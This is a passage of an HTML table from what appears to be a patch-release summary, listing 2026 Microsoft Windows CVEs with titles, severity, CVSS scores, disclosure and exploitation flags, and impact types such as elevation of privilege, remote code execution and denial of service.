  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50297"><span>CVE-2026-50297</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50325"><span>CVE-2026-50325</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50489"><span>CVE-2026-50489</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57095"><span>CVE-2026-57095</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50416"><span>CVE-2026-50416</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56184"><span>CVE-2026-56184</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50432"><span>CVE-2026-50432</span></a></td>
  <td width="256" class="xl74">Window Virtual
  Filtering Platform (VFP) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54119"><span>CVE-2026-54119</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57976"><span>CVE-2026-57976</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50366"><span>CVE-2026-50366</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49178"><span>CVE-2026-49178</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58529"><span>CVE-2026-58529</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services (ADFS) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54983"><span>CVE-2026-54983</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50695"><span>CVE-2026-50695</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50304"><span>CVE-2026-50304</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50368"><span>CVE-2026-50368</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50324"><span>CVE-2026-50324</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50355"><span>CVE-2026-50355</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50411"><span>CVE-2026-50411</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58631"><span>CVE-2026-58631</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56196"><span>CVE-2026-56196</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56197"><span>CVE-2026-56197</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56169"><span>CVE-2026-56169</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57107"><span>CVE-2026-57107</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56185"><span>CVE-2026-56185</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50312"><span>CVE-2026-50312</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50462"><span>CVE-2026-50462</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57093"><span>CVE-2026-57093</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34346"><span>CVE-2026-34346</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48572"><span>CVE-2026-48572</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48571"><span>CVE-2026-48571</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50400"><span>CVE-2026-50400</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50331"><span>CVE-2026-50331</span></a></td>
  <td width="256" class="xl74">Windows Application
  Model Core API Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49803"><span>CVE-2026-49803</span></a></td>
  <td width="256" class="xl74">Windows AppX
  Deployment Extensions Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50351"><span>CVE-2026-50351</span></a></td>
  <td width="256" class="xl74">Windows Audio
  Compression Manager (ACM) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50440"><span>CVE-2026-50440</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34328"><span>CVE-2026-34328</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50406"><span>CVE-2026-50406</span></a></td>
  <td width="256" class="xl74">Windows Backup Engine
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50364"><span>CVE-2026-50364</span></a></td>
  <td width="256" class="xl74">Windows Backup Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42975"><span>CVE-2026-42975</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth Port
  Driver Remote Code Execution</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58538"><span>CVE-2026-58538</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58638"><span>CVE-2026-58638</span></a></td>
  <td width="256" class="xl74">Windows Boot Loader
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58637"><span>CVE-2026-58637</span></a></td>
  <td width="256" class="xl74">Windows Client-Side
  Caching Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50384"><span>CVE-2026-50384</span></a></td>
  <td width="256" class="xl74">Windows Clip Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49183"><span>CVE-2026-49183</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50689"><span>CVE-2026-50689</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50374"><span>CVE-2026-50374</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58536"><span>CVE-2026-58536</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58613"><span>CVE-2026-58613</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50401"><span>CVE-2026-50401</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50697"><span>CVE-2026-50697</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50667"><span>CVE-2026-50667</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50421"><span>CVE-2026-50421</span></a></td>
  <td width="256" class="xl74">Windows Connected User
  Experiences and Telemetry Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50428"><span>CVE-2026-50428</span></a></td>
  <td width="256" class="xl74">Windows Container
  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50352"><span>CVE-2026-50352</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50302"><span>CVE-2026-50302</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55144"><span>CVE-2026-55144</span></a></td>
  <td width="256" class="xl74">Windows Cryptography
  API: Next Generation (CNG) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50347"><span>CVE-2026-50347</span></a></td>
  <td width="256" class="xl74">Windows Data.dll
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49181"><span>CVE-2026-49181</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50683"><span>CVE-2026-50683</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58627"><span>CVE-2026-58627</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50685"><span>CVE-2026-50685</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49807"><span>CVE-2026-49807</span></a></td>
  <td width="256" class="xl74">Windows DirectX
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49175"><span>CVE-2026-49175</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50487"><span>CVE-2026-50487</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50465"><span>CVE-2026-50465</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49169"><span>CVE-2026-49169</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50426"><span>CVE-2026-50426</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50424"><span>CVE-2026-50424</span></a></td>
  <td width="256" class="xl74">Windows Domain
  Controller Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50300"><span>CVE-2026-50300</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50437"><span>CVE-2026-50437</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34348"><span>CVE-2026-34348</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50502"><span>CVE-2026-50502</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Remote Code Execution Vulnerability</td>
